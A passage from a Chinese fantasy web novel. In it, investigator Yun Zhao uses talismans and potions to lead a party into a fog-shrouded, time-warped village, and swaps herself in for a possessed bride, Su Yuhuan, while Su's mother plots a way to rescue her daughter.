孙婆子依言,迅速从随身行囊中取出一个边缘有些许铜绿的旧盆。又利落地从药箱里拿出几样东西:一把烈阳草,一小撮雄黄粉,还有几片晒干的桃木刨花。
她将这三样东西在铜盆中混合,以火折子点燃。
霎时间,一股混合着草木燃烧的焦香与辛烈的烟雾升腾起来!
孙婆子将燃着的铜盆端至浓雾边缘,奇异的一幕发生了——
原本凝滞不动的灰白色浓雾,接触到这股阳火烟气后,竟然肉眼可见地向后缩了缩。
渐渐让出了一小块约莫三尺见方、没有雾气的空地!
裴寂见状,冷峻的脸上掠过一丝喜色:“这雾气能被驱散!”
云昭却轻轻蹙起了眉头。
这雾气退得有点太干脆了,不像是被克制,更像是在有意规避。
烟火只能暂时逼退,却无法从根源驱散迷雾!
云昭取出黄纸和朱砂,开始快速地书写符箓。
朱红的线条在黄纸上蜿蜒成形,每一笔都蕴含着灵力波动。
这符箓能暂时克制阴邪雾气,确保凡人身上阳火不灭不垢,绘制一张已属不易,而云昭此刻,需要连续绘制十数张!
随着一张又一张符箓在她笔下诞生,云昭的额角也渐渐渗出了细密的汗珠。
旁人或许只觉得云昭写到后面渐渐慢了速度,但孙婆子却是入了玄门、见识过真章的,知道云昭此刻消耗的是本命元气。
她眸中流露出忧色,没有出声打扰,而是悄然转身,从药箱深处取出那瓶清荷灵露。
孙婆子将几滴灵露小心滴入自己随身携带的水囊中,想了想,又分别倒入参茸粉和几粒殷红如血的枸杞丹。
此法正是当初云昭将灵露炼制之法教给她时,一并写在附页上的应急配方之一。
孙婆子虽年长,却极为好学,心思也细,凡是经她手处理过的药物、方剂,都会牢牢记在心头,反复琢磨。
今日,这平日积累的学识便派上了用场。
待云昭终于落下最后一笔,整整十五张符箓彻底绘制完成。孙婆子适时地将水囊递了过去。
云昭只闻了一下,便知里面是什么。
她眼中闪过一丝赞许,也不多言,仰头接连饮下三大口。一股温润的气息顺着喉管滑下,抚平了心神的躁动与疲惫,苍白的脸色也恢复了几分红润。
她将水囊递还给孙婆子,声音虽低却清晰:“你也喝。今日入内,险阻未知,有的是需要你出力的地方。”
孙婆子也不推脱,依言学着云昭,仰头连饮三口。
准备停当,云昭将绘制好的符箓逐一叠好,信手引燃,投入那暂时逼退了雾气的铜盆中。
符纸燃烧,升腾起的烟雾不再是单纯的阳火气,而是闪着淡淡金光!
紧接着,云昭清叱一声,手腕一抖,那十五张燃烧的符箓竟被她以灵力牵引,如同一条燃烧着淡金色火焰的灵蛇,首尾相连,倏地被她甩向浓雾深处!
“嗤啦啦——!”
灵蛇所过之处,浓雾仿佛拥有生命的活物遇到了致命克星,疯狂地翻滚、退避、蒸发!
一条宽约五尺、笔直通向雾霭深处的短暂通道,就这样被硬生生“烧”了出来!
通道两侧的雾气剧烈翻滚,却不敢越雷池半步,通道内视野清晰,隐约可见远处模糊的村舍轮廓。
云昭抓住这短暂的机会,迅速转向一旁的卫临:“驸马,此雾诡异莫测,内里情况未明,人多反而不便!
你且率其余侍卫在此处严密警戒,务必守住村口要道,注意任何出入动静,随时准备接应。
惠娘也留下,她熟知村中旧事,或许对外围判断有帮助。”
卫临目露担忧,但也知道云昭所言在理。
如今情势诡谲,总要有人在外围守住退路,以备不测。
他重重抱拳:“姜司主放心,外围交给我。务必小心!”
云昭点头,旋即命孙婆子再取一只干净的瓷碗,倒入随身携带的清水。
她咬破指尖,将几滴殷红的鲜血滴入碗中。
鲜血入水,并不立刻化开,反而如同有生命般微微旋动。
她以这碗血水为“墨”,在村口以极快的速度画下了一个首尾相连、线条凌厉的血色界阵。
图案并非简单的圆环,更像是一个融合了罡步与星斗方位的立体封印。
每一笔落下,都隐隐有微光一闪而逝,没入土中。
“以此阵为界。”
云昭直起身,对卫临及其身后所有侍卫沉声道,“护卫阵内之人,隔绝外间阴祟。
若有人从村中出来,听到警告而不停下,胆敢擅越此线者,杀无赦!”
“谨遵司主之令!”卫临与一众侍卫面色凛然,齐齐拱手。
云昭不再多言,转身看向早已准备就绪的裴寂等人:“走罢。”
裴寂默然点头,一手按在腰间刀柄之上,气息收敛,已完全进入临战状态。
他身后,五名精挑细选的翊卫精锐无声列队,眼神警惕地扫视着周围。
孙婆子与云昭各自随身携带祛邪等物。
云昭一手提过周文焕,腰间银鞭齐备;孙婆子手中悄然滑出一把色泽沉暗、非金非木的短尺。
众人沿着那条被符箓灵蛇强行开辟出的通道,踏入那片灰白色的浓雾之中。
*
宁归林。
一辆不起眼的青帷马车悄然停在林木阴影之中,车辙痕迹很快被落叶半掩。
“小姐,夫人再三叮嘱了,绝不让您私自出府。若是让夫人知道奴婢跟着您来了这里,奴婢定要**的!”
一个面容稚嫩的小丫鬟扒着车窗,满脸惶恐。
苏玉嬛利落地跳下马车,回头瞪了丫鬟一眼。
她眼底闪过一抹不耐,很快又被一种混合着兴奋与决心的光芒取代,“只要你乖乖听话,回去我赏你一对赤金丁香坠子。”
她低头瞥了一眼自己这身精心挑选的衣裙,手指
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抚过腰间鼓鼓囊囊的荷包。
她对车夫再次嘱咐:“记得我的话,就停在这里,守着马车,等我们回来,知道吗?”
车夫是个沉默寡言的中年汉子,闻言只是点了点头,将马车往林子阴影深处又赶了赶。
苏玉嬛定了定神,提起裙摆,沿着一条几乎被荒草淹没的羊肠小道,朝树林深处走去。
丫鬟小茉咬了咬嘴唇,终究还是跺了跺脚,快步跟了上去。
主仆二人的身影,很快消失在茂密苍郁的松柏阴影中。
越往林子深处走,树木越发高大茂密,虬结的枝桠遮天蔽日,光线变得愈发昏暗。
渐渐地,一阵潺潺的水流声传入耳中。
苏玉嬛精神一振,心跳不由自主地加快。
她记得那封秘信上写得清清楚楚:
「进宁归林,循水声,溯溪而上至尽处,见瀑布垂帘,帘后即洞天之门……」
这是一条外人绝无可能知晓的密道!
而那秘信上隐晦提及的计划,更是让她心惊肉跳之余,生出了难以遏制的念头——
他们竟然打算利用这条密道和将家村的特殊地势,将秦王萧启和后续可能赶来救援的所有人……全部困死在里面!
那天晚上偷看到信纸内容后,苏玉嬛就辗转反侧,最终打定了这个冒险的主意。
她不敢当面与母亲林氏争辩……
但是,如果她也出现在那里,“意外”成为了唯一知晓密道、并能带领秦王脱困的“那个人”呢?
亲眼见到女儿身陷险境,还跟秦王有了肌肤之亲,母亲必定会心软,顺势改变计划掩护她。
而她苏玉嬛,便如同神女天降,顺理成章地成为秦王最危急时刻,独一无二的救命恩人!
想到此处,苏玉嬛的脸上浮起一层激动的红晕。
所有人都围着太子那个草包转,可近来陛下对秦王是什么态度,明眼人还看不出来吗?
秦王殿下是平定北疆、战功赫赫的大英雄,是这天下最英武伟岸、智勇双全的男子!
谁说太子就一定不能被废?史书上废立之事还少吗?
这些年来,她就偏偏看好秦王!
宋白玉那个蠢货,空得一个京城第一贵女之名,不论容貌气度才学,处处都及不上她……
唯独有一点,她挑男人的眼光,和她一样好。
不然,怎能四年前只听母亲说了一回,就将那桃花煞的法子心心念念学了去,还一股脑都用在了秦王身上?
好在她对秦王用情够深,临死之前知道什么该说、什么不该说,这才没有误了秦王清名!
想起那晚宋白玉死前以性命布下血咒的情形,苏玉嬛心底闪过一丝寒意。
昨晚她回府时,母亲已然不在府中。
她一个人不敢用那姜云昭说的公鸡血沐浴的法子,也不知身上到底有没有中了血咒。
若她当真中了血咒,只待今日事了,定要母亲帮她彻底剔除!
远远地,水声越来越大,如同闷雷滚动。
拨开最后一道挡在眼前的茂密藤蔓,苏玉嬛眼前一亮——
只见一道白练般的瀑布从陡峭的山崖上飞泻而下,注入下方一汪深潭,水汽氤氲。
而在瀑布水帘之后,隐约可见一个黑魆魆的洞口,正是信中所描述的“洞天之门”!
找到了!
苏玉嬛心中狂喜,忍不住喊了一声跟在身后的丫鬟,声音因激动而有些发尖:“小茉!快跟上!我们找到了!”
她再也顾不得维持平日精心练习的优雅步态。
一手提起碍事的裙摆,另一手扶着湿滑的岩石,不顾飞溅的水珠打湿了精心梳理的鬓发和昂贵的衣裙,如同扑向情郎怀抱般,直扑那瀑布后方幽深莫测的洞口。
因而也就完全没有注意到,一直跟在她身后、名为“小茉”的丫鬟,已经很久没有主动说过一句话了。
第192章 花轿来了!
众人踏入村口的瞬间,仿佛穿过了一层无形的薄膜,身后的浓雾陡然隔绝,眼前豁然开朗。
不同于预想中被浓雾充斥的景象,村子里竟一丝雾气也无,清晰的诡异。
抬头望去,天空是黑沉沉的铅灰色,仿佛一块吸饱了水的脏污棉絮死死压在头顶,低得让人喘不过气。
整个村落仿佛被抽离了所有活物的声响。
没有犬吠鸡鸣,没有孩童嬉闹,甚至没有寻常村庄该有的、隐约的劳作或炊事声。
附近木栅栏围成的院子前,晾晒的衣物还挂在竹竿上,门口摆着未收的农具,仿佛所有的村民都因为某种极其紧急的事务,被集体召唤或驱赶着离开了。
一种难以言喻的违和感,如同最细微的毛刺,轻轻刺挠着云昭的感知。
云昭停下脚步,解下行囊,从里面取出一根色泽暗黄的线香。
此香是她随身携带用于简单计时或静心感应的普通香品,并无特殊法力。
她取出火折子将其点燃,随手将这根线香,递给了旁边脸色发白的周文焕。
周文焕先是一愣,随即精神陡然一震,如同接过了什么了不得的护身法宝,双手恭敬地接过那根细香:“多谢司主厚赐!”
方才在村口,他亲眼目睹云昭挥手成符、血咒画界,硬生生在诡异浓雾中劈开通道!
虽然心里依旧怕得要死,但直觉告诉他,在这等邪门地方,抱紧这位姜司主的金大腿,活命的几率绝对最大!
此刻眼见云昭将这么重要的东西亲手交给了他,周文焕一时心中震动!
姜司主,这分明是着重要保他周文焕的命啊!
误解带来勇气。
周文焕定了定神,觉得不能光受保护不出力,急切道:
“司主,您有所不知,这蒋家村的地形构造颇为古怪,初来乍到之人,极容易绕晕。但下官第一次来勘验户籍时,就留意到了这里头的门道。”
他说到激动处,也顾不得地上尘土,弯下腰,用没拿香的右手,在脚下的泥土地上快速地画了起来。
几笔勾勒,一个不甚规整但特征明显的螺旋形状出现在众人眼前。
“您瞧,整个蒋家村的房屋、道路排布,并非寻常的井字或放射状,而是像这样——一个巨大的螺旋形!”
他指着图案解释道,“粗略可分内外三圈,最外层的这一撇起始处,就是方才咱们走进来的村口。道路蜿蜒向内,越往中心,地势似乎略有抬升,房屋也越显密集。”
云昭目光落在那螺旋图案的中心点,问道:“这螺旋的核心,对应村中何处?”
周文焕立刻答道:“正是蒋家村的祠堂!位于村子正中央的一块高地上,也是整个螺旋的圆心和终点。”
祠堂……云昭心中默念,不由想起在老槐坡时惠娘的警告。
她继续问道:“十年之内,蒋家村可曾发生过不同寻常的命案?尤其是与女子相关的。”
一提到本职工作,周文焕身上的怯懦之气顿时消减不少。
他忙从自己随身携带的旧皮袋里取出一本册子:“下官来时匆忙,但该带的要紧文书一样没落。”
他翻开其中一页,“至于命案……不瞒司主,乡下地方,失足淹死的、进山遇害的、邻里争执出了人命的,哪个村子隔几年都难免有一两桩。
蒋家村也有,记录在案的有三起:一起是猎户坠崖,一起是孩童溺毙村边水塘,还有一起是两口子打架,失手**……
这些案子都已结案,并无特别蹊跷之处。仅从卷宗上看,发案率并未明显高于周边村落。”
说着,他将那本最新的户籍人名册双手奉上:“这是今年春赋时最新核验统计的丁口名册,村中在册二十三户,九十七口皆在此列。”
云昭并未立即接过册子,目光转向了一旁自入村后便异常沉默的孙婆子。
“有关将家村,你可有话要说?”云昭问道。
孙婆虽从有悔大师处**得了能暂时开口说话的祝由术,但今日情况诡异莫测,那术法机会宝贵,她不舍得轻易动用。
于是她也学着方才周文焕的样子,蹲下身,用枯瘦的手指,在泥土地上快速写起字来。
外来,村异,小莲死,永熙王,未深究。
云昭瞬间明了:孙婆子和惠娘母女一样,也是外来户。
她当年带着小莲流落至此,察觉了村子不对劲,但还没来得及深究或逃离,小莲便已遭遇不幸。
之后,孙婆子得悉永熙王才是真凶,注意力便完全转移到了复仇上,对这村子本身的异常,也就没有继续深挖下去。
难怪方才惠娘说出那番话时,孙婆子只是沉默,并未急于反驳或补充。
一旁按刀警戒的裴寂此刻沉声道:“姜司主,既然如此,我们是否直接去那祠堂一探?殿下和赵大人若被困,最有可能便在村中核心要地。”
云昭却缓缓摇了摇头。她的目光,落在了周文焕手中那根线香上——
只见那原本三寸长的线香,此刻竟已燃烧殆尽,而周文焕竟似毫无所觉!
“这……”裴寂也注意到了,瞳孔微缩。
周文焕这才后知后觉地低头,一看之下,“妈呀!”一声,猛地松开了手。
短短的香头落在地上,溅起几点火星,迅速熄灭了。
“这香怎的烧得这样快?!”周文焕声音都变了调,满脸不可思议,“下官……下官感觉才拿了没一会儿啊!”
“并非香烧得快,”云昭的声音带着一丝罕见的凝重,“而是此处辰光流转,远快于外间正常天地。”
若她所料不错,有人在此间布下了逆转阴阳、错乱时序的大阵。
此阵不仅能催生那村口阻隔的浓雾,更核心的效用,便是加速阵内时间流速,干扰踏入者的心神与认知。
这番剖析如同冷水浇头,众人脸色瞬间变得更加难看。
“殿下和赵大人……”裴寂的声音干
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涩,手握紧了刀柄。
“他们最好不要受外伤,”云昭语气沉重,“否则,以此地的时间流速,任何伤势的恶化速度都会倍增。且心志稍有不坚,便极易彻底迷失。”
思忖片刻,云昭不再犹豫,果断下令:“孙嬷嬷,将水囊中混合了清荷灵露的净水,分与众人,每人饮三口。”
孙婆子依言照做。
那灵露水入口清冽,带着淡淡的荷香与药气,滑入喉中后,一股清凉之意直冲灵台,让人精神为之一振。因环境诡异而产生的些许烦躁恍惚,都被压制下去。
随后,云昭又从自己随身的锦囊中,倒出数粒色泽莹白的丹丸。
“此丸含于舌下,可助稳固心神。”
她将丹丸分给裴寂、孙婆子及其手下翊卫,最后也给了周文焕一颗。
周文焕如获至宝,连忙接过,学着众人的样子含入口中。
然而云昭心中清楚,无论是灵露水还是清心丸,都只是权宜之计。
药力有时间限制,且只能被动防护。若不尽快找到阵眼并将其破除,众人迟早会耗尽心力,后果不堪设想!
就在众人刚刚服下药丸,稍定心神之际——
原本黑沉压抑的天际,毫无征兆地撕裂开一道口子,远处天边透出一抹诡异的夕阳。
那光芒不似自然晖光,反而带着粘稠的质感,将整个死寂的村落瞬间染上一层令人不安的猩红。
紧接着,一阵突兀而喜庆的吹打乐声由远及近。
众人循声望去,只见一队人影影绰绰地出现。
最显眼的,是队伍中央那顶通体猩红的轿子,由四个身着暗红短褂的轿夫抬着,步伐僵硬而整齐。
周文焕眯着眼,极力辨认:“王老栓、李二狗……这些都是将家村的村民!”
只见那些村民,无论男女,个个脸色是一种不正常的死灰,肢体僵硬刻板,如同提线木偶。
他们这样……还能算是活人吗?
轿子旁边,还跟着一个面容稚嫩的小丫鬟,瞧着不过十三四岁的模样。
她的神情比其他村民稍显“灵动”一些,至少眼珠会偶尔转动,但脸上也带着一种深深的麻木与畏惧,紧紧跟着轿子。
云昭迅速抬手,示意众人噤声。
无需多言,裴寂及其手下翊卫皆是百战精锐,反应极快,瞬间便各自找到掩体,气息收敛。
孙婆子不动声色地退到一截半塌的土墙后。
而周文焕,早在云昭眼神扫过来时,就已经连滚带爬地缩到了裴寂身后,双手死死捂住口中“仙丹”,连呼吸都屏住了。
那顶猩红的轿子,沿着村中螺旋的主道,由外向内,缓缓朝村中最高点的祠堂行去。
没有风,但轿子侧面那猩红的绸布帘子,却轻轻浮起了一角。
云昭凝眸望去——
轿内端坐的新娘,凤冠霞帔,浓妆艳抹,一张熟悉却在此刻显得无比诡异的脸,赫然映入眼帘!
苏玉嬛?!
第193章 拖出花轿,换嫁!
细雨濛濛。
马车在官道上疾驰,车轮碾过雨后略显泥泞的土路,发出辘辘的声响,在空旷的郊野传出去很远。
车内,林氏已换下之前那身略显朴素的出行衣裳,重新穿回了料子考究的葛纱罗裙,发髻也重新梳得一丝不苟,簪上一支碧玉七宝玲珑簪。
她斜倚在铺着软垫的车壁上,脸上带着一丝久违的松快。
看到对面神色不安的吕嬷嬷,林氏唇角轻绽:“嬷嬷,事情了了,别再这么紧张。”
吕嬷嬷张了张嘴,欲言又止。
林氏端起小几上温着的参茶,轻轻吹了吹,语气是完成一桩大事后的笃定与疏解:
“多年前,姓薛的确实帮过我一个大忙,解了我燃眉之急。
这些年,他倒也知趣,谨守着约定,从未再找过我,更未挟恩图报。
今日之事,不过是我还他当年那个人情罢了,从此两不相欠。”
她抿了口茶,掀帘望向远处阴沉的天色,声音轻得像是在自言自语,“况且,过了今日,他也就不在这世上了。”
薛九针一死,许多见不得光的牵扯,就如投入深潭的石子,沉底后再无波澜。
纵然事后有心人想去深究,线索到薛九针那里,便是断头路,任凭如何翻查,也绝难再牵扯到她林静薇头上。
至于梅柔卿……林氏心中冷笑,那不过是个凭几分姿色和心机上位的蠢货罢了!
她所倚仗的那些阴私手段,十之**都是从薛九针那里零零碎碎学来的,对个中原理,也就一知半解。
一旦薛九针这根“主心骨”彻底断了,梅氏就如同被拔了毒牙、剪了利爪的老虎,空剩一副唬人的皮囊。
一个人老珠黄的妾室,如今又被姜云昭那精明狠辣的丫头死死盯上,往后等着她的,唯有死路一条!
至于姜云昭,那丫头确有几分真本事,命也够硬。
但今日的将家村,可是薛九针筹谋多年,抱着必死决心,欲拉所有人陪葬的绝杀之局!
就算她姜云昭有通天彻地之能,与那萧启一道陷在里面,不死也要脱一层皮!
等她从江陵归来,正好可以从容不迫地好好观赏一番好戏!
想到那场景,林氏连日来心头的郁气都散去了不少,只觉通体舒泰。
吕嬷嬷迟疑再三,终究还是忍不住,压低了声音开口:“方才咱们的马车经过宁归林外围那条岔道时,我……我仿佛瞧见林子里头,停着一辆马车……”
林氏正对着一面小巧的铜镜,将一丝微乱的鬓发重新抿好。
闻言,她并不怎么放在心上,随口道:“那地方再往前还有好几个村落,有马车经过或是暂歇,有什么稀奇。”
“不是……”吕嬷嬷凑近些,声音更低了,“那赶车人的身形背影,瞧着有几分眼熟,倒像是咱们府上的李麻子。”
林氏梳理头发的手微微一顿。
李麻子……当年是她巧施手段,从一个放印子钱逼**的恶霸手里救下的苦命人。
此人幼时出天花落了一脸麻坑,沉默寡言,几乎不与人交际,对她这个救命恩人却是忠心耿耿。
苏府其他人,哪怕是老爷苏文正,也休想使唤动他半分。
“你在胡说什么?”林氏回过神来,几乎要骇然失笑。
她觉得吕嬷嬷真是年纪大了,眼也花了,“李麻子只听我的吩咐,没我的命令,他连马厩都不会轻易离开。怎会出现在宁归林?”
然而,这话说出口的瞬间,她自己心中却莫名地“咯噔”一下。
除了她,这府上还有一人能使唤得动李麻子,就是女儿苏玉嬛。
吕嬷嬷见主子神色变幻,更是惶然,声音都有些发颤:“老奴也说不准,就是那么一瞥……
当时咱们的车子走得极快,那林子里的马车又停在树荫深处,我只瞧见个侧影轮廓,觉得身形姿态都像极了……”
主仆二人在这狭窄的车厢内静静对坐,方才那股松快的气氛荡然无存,取而代之的是一种逐渐蔓延的不安。
林氏摇了摇头,语气却已不似先前笃定:“不可能。我今晨出门前,特意再三叮嘱过嬛嬛,这几日我不在京城,她绝不可以踏出府门半步。她向来听话……”
“夫人,您说……会不会是姐儿她,无意中看到了那姓薛的给您写的密信?”
“绝无可能!”林氏猛地抬眼,答得斩钉截铁,“那封信我看过之后,早已烧成了灰烬,丁点痕迹未留!况且当时……”
她不由地回想起那晚的情景——
夜已深沉,她独自在室内,就着昏黄的灯烛,展开那封来自薛九针的密信。
信上详细陈述了将家村的布置、阵法的启动时机,以及……若秦王萧启当真闻讯赶赴,如何利用地形与邪阵,将其一并困死其中。
信刚看到一半,外间忽然传来夫君苏文正的声音。她来不及细想,迅速将看了一半的信纸折叠,藏进了妆奁盒最底层的暗格之中,这才匆匆迎了出去。
待她应付完夫君,重回内室,闩好房门,才将那封信重新取出。
从头至尾一字不落地看过一遍,将关键信息牢牢刻在脑中,随后,她将信纸就着烛火点燃,亲眼看着它化为灰烬,又用水将灰烬彻底搅散。
林静薇脸色微变。
她出门与夫君说话的那段时间虽然不长,但若当时女儿恰巧就在附近……
以玉嬛的机灵和对她这个母亲习惯的了解,完全有可能找到那个妆奁暗格!
如果女儿真的看到了那封信,以她对秦王的痴心,说不定真的会不顾一切!
林氏越思量越是坐立难安,手心竟沁出了一层冷汗。
先前所有的从容算计、智珠在握,此刻都仿佛变成了摇摇欲坠的沙堡,随时可能被一个她未曾料到的变数彻底冲垮!
尤其,方才她们经过的宁归林,正是那封信中提及通往将家村祠堂的隐秘入口!
只不过她和吕嬷嬷离开时,走的是另一条更为隐蔽的小路,匆匆从宁归林外围的官道路过而已。
眼看马车即将驶向通往江陵方向的岔路,林氏再无犹豫!
她猛地掀开车帘,对前面赶车的车夫急声道:“停车!改道,立刻回城!”
车夫虽诧异,但不敢多问,连忙勒住马匹,调转车头。
吕嬷嬷惴惴不安地看着她:“夫人,咱们现在回去也……”
“我知道!”林氏打断她,声音带着一丝不易察觉的颤抖,强行镇定下来,
“将家村的阵法已然发动,从外界难以轻易闯入。况且,一切或许只是我们多虑了……”
为求稳妥,眼下最好的法子,就是立刻回城,派人回府中确认,玉嬛是否真的安然待在府中!
只要确认她在,那么一切不过是虚惊一场。
吕嬷嬷小声道:“若姐儿真的不在府上呢?”
这句话如同最后一根稻草,压垮了林氏强装的镇定。
她越想越是懊恼悔恨,心底不由涌起一股强烈的怒气与后怕。
“这个糊涂丫头!她怎的如此不晓事,这般任性妄为!”
林氏的声音因气急而微微拔高,“那秦王萧启是什么好东西?
不过是个注定活不过二十五岁的短命鬼!
她就算春心萌动,想嫁个年轻俊俏的郎君,满京城勋贵子弟,青年才俊多得是!
闭着眼睛挑一个,哪个不比那朝不保夕的亲王强?!”
紧接着,她又恨恨骂道:“况且,昨夜宫宴,那宋白玉说不定早已趁机得手,攀上了秦王也未可知!她这时候凑上去,算什么?捡别人剩下的吗?!”
林氏昨夜不在城中,更未入宫,对宫宴后来发生的惊天巨变——
桃花咒案发、宋白玉血溅当场、太子昏迷等等事态一无所知。
她更不知道,苏玉嬛对她这个母亲的命令阳奉阴违,已然不是第一次了。
林氏的眼神变幻不定,种种念头在脑中激烈交锋。
最终,一抹决绝的狠色取代了所有的慌乱与怒气。
“若玉嬛真的不在府上,私自跑去了将家村……”林氏一字一顿,声音冰冷得可怕,
“那我们就去告官!就说我苏家嫡女苏玉嬛,昨日于城中被歹人拐骗,如今下落不明,经查很可能被掳至京郊将家村中!”
她看向吕嬷嬷,眼中是全然的冷静与算计,甚至带着一种玉石俱焚的狠辣:
“我与薛九针联手布下的邪阵若要彻底解开,需得吞足百名
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成年男丁的阳气与性命,作为最后祭品!
既然如此,就让官府的人、让那些衙役兵丁去填这个数!用他们的命,去解开阵法!”
林氏的手指无意识地收紧,指节泛白:“届时,村里必定大乱,我们便可趁乱,设法混进去,无论如何,也要将嬛嬛从那鬼地方带出来!”
*
将家村,死寂的螺旋村道。
目送着花轿在村民簇拥下渐行渐远,裴寂等人这才各自从藏身的掩体后现身,重新聚拢到云昭身边。
裴寂眉头紧锁,语气有一丝迟疑:“方才那个……”
主要是妆太厚了,他瞧着眼熟,却委实不敢认。
“是苏家大房嫡女苏玉嬛,如假包换。”云昭笃定道。
方才跟在轿辇旁边那个低眉顺眼的小丫鬟,之前她两次去苏府,都曾见她寸步不离地跟在苏玉嬛身后。
唯一让云昭感到费解的是:苏玉嬛怎会出现在此?
但眼下没有时间细细推敲。云昭思虑片刻,对孙婆子道:“取‘隐息粉’和‘阴苔草’来。”
孙婆子依言,快速从行囊中取出两个小皮囊。
“隐息粉”能暂时掩盖活人身上的阳气与生机;“阴苔草”多生于终年不见阳光的背阴石缝或古墓周边,性属极阴,能模拟出类似阴物的气息。
云昭蹲下身,从道旁抓了一把潮湿的泥土,将两种粉末混合其中。
“抹一点在脸和脖子。”她低声解释,“此法可暂时混淆我等身上的活人生机。
稍后若无我明确指令,不要开口说话,行动步伐尽量与那些村民保持一致。”
众人迅速准备妥当,加快脚步,沿着花轿消失的方向追了上去。
村道蜿蜒,两侧的房屋依旧死寂。
很快,他们便再次看到了那支缓慢行进的送亲队伍。
乐声依旧僵硬,村民的步伐依旧整齐划一,透着非人的刻板。
云昭目光锐利地扫过队伍,心中已有决断。
她加快脚步,混入了送亲队伍的外围,向着轿辇一侧靠近!
身后不远处的周文焕看得双目圆瞠,心脏都快跳出嗓子眼!
这位姜司主……也真是艺高人胆大!
云昭不紧不慢,走到了轿辇的右侧,几乎与那个低着头的小丫鬟并行。
趁着队伍拐过一个弯道,云昭毫不犹豫地伸出手,掀开了轿子侧面的绸布帘子!
苏玉嬛端坐其中,凤冠霞帔,浓妆依旧。
她双目空洞地平视前方,眼神没有丝毫焦距,对于帘子被掀开、甚至云昭近在咫尺的审视,都毫无反应,宛如一尊制作精美却毫无生气的木偶娃娃。
唯有胸口极其微弱的起伏,证明她还活着。
云昭盯着她看了片刻,放下帘子,朝身后不远处的裴寂等人招了招手,示意他们都跟过来。
裴寂见状意会,他悄无声息地掠出,几个起落便借着房屋阴影的掩护,向云昭靠拢。
云昭对他做了几个手势,随后指指轿子,又指指自己。
饶是裴寂身经沙场磨砺、见惯生死、心志坚韧,此刻眼角也不由得抽搐了一下。
但他深知云昭行事必有深意,且眼下情况诡异,容不得犹豫。他重重点头,示意自己准备好了,随时可以配合。
说时迟那时快!
云昭猛地将轿帘完全掀开——
与此同时,裴寂手中玄铁长鞭如灵蛇出洞,唰地一声探入轿内,精准地缠住了苏玉嬛的腰肢!
只听“噗通”一声闷响,穿着沉重嫁衣、戴着凤冠的苏玉嬛,竟被其硬生生从平稳行进的轿子里拖拽了出来,直接摔在了路边的尘土之中!
而云昭则在裴寂将苏玉嬛拖出轿子的瞬间,一把扯落苏玉嬛遮脸的盖头!
随后,她脚下一蹬,身形如燕,竟毫不客气地一抬脚,直接跨进了那顶空出来的猩红花轿!
苏玉嬛落地后,没有因为摔倒而蜷缩或挣扎,就那么笔挺挺、直僵僵地躺在那里。
露出那张浓妆却死寂的脸,几乎与一具尸体无异。
不仅周文焕骇得死死用手捂住嘴巴,好悬没叫出声!
就连裴寂和孙婆子,都满脸的一言难尽。
他们这位姜司主,也有点太彪了!
第194章 你们别过来啊!
一切都发生在电光石火之间,快得让人来不及反应。
送亲队伍出现了极其短暂的凝滞,村民僵硬的脚步顿了一下,空洞的眼神茫然地转动。
但很快,僵硬呆板的乐声又响了起来,村民们的步伐重新恢复整齐,抬着已然换了新娘的轿子,继续朝着祠堂方向,吹吹打打地行去。
而裴寂等人也因新娘子彻底换了人,紧紧跟随在轿辇左右。
送亲的队伍越走越远,徒留下躺在道旁的苏玉嬛。
只见一个佝偻的模糊身影,如同从阴影中渗透出来一般,悄无声息地出现在了村道旁。
那人穿着一身与村民类似的的粗布衣衫,头上戴着破旧的斗笠,帽檐压得很低。
他一脚长一脚短地走到在苏玉嬛面前,目光透过斗笠的阴影,落在了她那张浓妆艳抹却毫无生气的脸上。
随后,目光缓缓下移,沿着大红嫁衣的身躯,掠过她佩戴着金镯玉环的手腕,最终,定格在那双穿着绣花鞋的脚上。
接着,那瘸腿的身影弯下腰,一把攥住了苏玉嬛的脚踝。
他就这么拖拽着苏玉嬛的双脚,像拖着一袋没有生命的货物,朝着一条更为荒僻的近便小径,一步一拖,渐渐走远。
……
祠堂。
这座位于村落最核心的建筑,与村中其他屋舍的简陋截然不同。
它是一座三进式的青砖黑瓦院落,虽不算宏伟,却透着一种森严规整的气派。
院墙上的墙皮斑驳剥落,露出内里颜色更深的砖石,缝隙里爬满了深绿色的苔藓,在昏暗光线下,如同干涸的血。
正门是两扇厚重的黑漆木门,门楣上悬着一块同样黑漆漆的匾额,上面阴刻着“宗祠”两个描金大字。
门前两尊石狮表情狰狞,宛如两只蹲伏的恶兽。
此刻,正堂中央的空地上,乌压压地站满了人。
村民们笔直地站着,如同庙里一排排泥塑的偶人,眼珠直愣愣地朝着同一个方向。
整个大堂静得可怕,只有灯火偶尔爆出噼啪声。
裴琰之脸色苍白,呼吸短促,额角沁出细密的冷汗。
他强撑着精神,压低声音对身旁的萧启和赵悉道:“殿下,赵大人……走一步看一步,莫要轻易激怒……”
萧启薄唇紧抿,冷眼睨着旁边一张黑漆木桌上摆放的东西——
那是一套折叠整齐的、颜色刺眼夺目的大红新郎吉服,旁边还放着一顶同样鲜红的状元帽。
他冷冰冰地从牙缝里挤出两个字:“不穿。”
赵悉站在萧启另一侧,一张俊脸皱成了苦瓜,嘴里小声嘟囔:“一个病秧子,一个活阎王,还有一个……”
他不由将目光投向站在稍远处黑壮如铁塔的李牧,
“这帮怪物,招个女婿就不赖了,还挑长相?”
站在一众村民最前面的白须老者,面皮红润,五官生得颇为慈眉善目,然而此刻他脸上的笑容宛如用模子印上去的,透着一股说不出的怪诞。
此人正是将家村的里正,黄守义。
黄里正那双直愣愣的眼睛,从始至终只死死盯着萧启、赵悉和裴琰之三人。
而对于同样站在这里的李牧,竟是一眼都没瞧过,彻底无视。
李牧似乎也察觉到了这点,他挠了挠自己粗硬的短发:“莫不是……这老儿也知道我前些日子刚跟王校尉家的闺女定了亲?”
萧启闻言,冷冷扫了他一眼:“难道我没定亲?”
赵悉立刻接话:“那确实我还没定亲啊!”
他年纪轻,眼光也高,家世显赫又得圣宠,婚事一直没着落,此刻倒成了“优势”,怪他啦?
萧启二话不说,长臂一伸,直接端起托盘,连带着那套扎眼的大红新郎服,径直塞进了赵悉怀里!
萧启是武将出身,膂力惊人,此刻心里本就憋着火气,动作难免失了分寸。
赵悉猝不及防,被他怼得“噔噔噔
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”向后踉跄了三步,怀里的衣裳差点撒了一地。
赵悉站稳身形,伸手指着萧启,气得手指尖都在哆嗦:“萧承渊!你还有没有点义气了!”
他这是真气急了,连尊卑都忘了,毕竟自从萧启被封秦王、君臣名分更显之后,他已经好些年没这么直呼其名了。
“当日在郡公府,你扮侍卫躲清闲,让我堂堂京兆府尹扮成云昭身边的小丫鬟!那胭脂还是跟我四嫂借的,香得我直打喷嚏!”
